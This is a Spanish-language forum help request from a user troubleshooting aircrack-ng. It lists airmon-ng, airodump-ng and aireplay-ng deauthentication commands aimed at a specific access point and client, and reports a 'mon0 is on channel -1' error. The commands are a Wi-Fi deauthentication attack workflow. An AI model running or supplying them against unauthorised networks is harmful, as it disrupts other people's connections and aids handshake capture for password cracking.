Hola a mi tambien me pasa lo mismo, no hay manera, he probado de todo y siempre me dice lo mismo:
1.-airmon-ng start wlan0 3 ( y tambien lo he probado sin el canal)
Pongo mi tarjeta en modo monitor para que escuche por el canal 3
(aquÃ* estoy intentando poner la tarjeta en el mismo canal que el AP a atacar)
2.-airodump-ng -c 3 --bssid 00:1A:2B:19:8B:C1 -w out mon0
Me pongo a escanear en el canl 3 el AP indicado con la tarjeta creada apartir de wlan0 y guardando los datos en "out"
2.-aireplay-ng -0 5 -a 00:1A:2B:19:8B:C1 -c 00:25

3

3:6F:14 mon0
Lanzo ataques al AP con el cliente indicado.Y aqui es cuando se me peta porque me pone este mensaje:
mon0 is on channel -1, but the AP uses channel 3
No lo acabo de entender porque mon0 lo he puesto con el airmon-ng en el canal 3 y ahora me dice que está al canal 1. ¿como lo pongo sino es asÃ*?
Tambien me aparece esto aveces cuando hago el aireplay:
03:17:02 Waiting for beacon frame (BSSID: 00:1A:2B:19:8B:C1) on channel -1
03:17:12 No such BSSID available.